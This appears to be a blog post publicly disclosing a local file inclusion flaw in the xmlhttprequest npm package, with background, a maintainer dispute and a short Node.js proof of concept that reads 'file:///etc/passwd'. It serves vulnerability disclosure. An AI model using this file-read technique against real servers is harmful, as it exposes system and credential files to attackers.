~ 2 min read

Disclosing a local file inclusion vulnerability in xmlhttprequest library

share this story on
I found a Local File Inclusion (LFI) security vulnerability in xmlhttprequest library but it's still unfixed.

What is the xmlhttprequest npm package?

The open-source npm package xmlhttprequest is a library for Node.js server-side projects to use a browser-like HTTP client. Mostly intended for a convenient API purposes, it is technically a wrapper around Node.js’s core modules of http and https.

Publicly disclosing a vulnerability in xmlhttprequest

As shared in a prior public disclosure report for the xmlhttprequest library, I discovered several security issues with the library and have reached out to the maintainer in hopes to report the security issue and get it fixed. However, they deemed it as not a flaw in security design and did not consider it as a viable vulnerability.

I’m sharing my findings here to publicly disclose the vulnerability.

Incorrect Default Permissions in xmlhttprequest@1.8.0 lead to Local File Inclusion

Observations:

  • It was last published 7 years ago in 2015 with version 1.8.0
  • It has 1,814,290 weekly downloads from npm

Source code and registry resources for the library:

Background on the vulnerability

The library mentions support by default for local file access in its known issues README documentation.

Given a scenario that an attacker controls the URL to be fetched using this HTTP client library, and that no explicit sanitization is performed for the URL and its scheme, it may result in arbitrary file read access, due to insecure default permission. Arbitrary file read access is scoped to the global file system for the web application or server using this library to make HTTP requests.

Related: local file system access code handling on xmlhttprequest library.

This vulnerability should probably be classified as a CWE-276: Incorrect Default Permissions.

Proof of Concept exploit

Install the latest known vulnerable version of xmlhttprequest:

  1. Install xmlhttprequest@1.8.0 which is the latest version of this package. We will use it for a client web application.

Create the following client.js file that makes use of the library to send a GET HTTP request:

const { XMLHttpRequest } = require("xmlhttprequest")

const xhr = new XMLHttpRequest()
const url = 'file:///etc/passwd'

a();

function a() { 
    // access local server files:
    xhr.open("GET", url)
    xhr.onreadystatechange = function() {
        if (this.readyState == 4) {
            console.log(this.responseText)
        }
    }
}

xhr.send()

Run this code snippet as a local Node.js script.

Observe that the the program prints the contents of the /etc/passwd file from your local file system.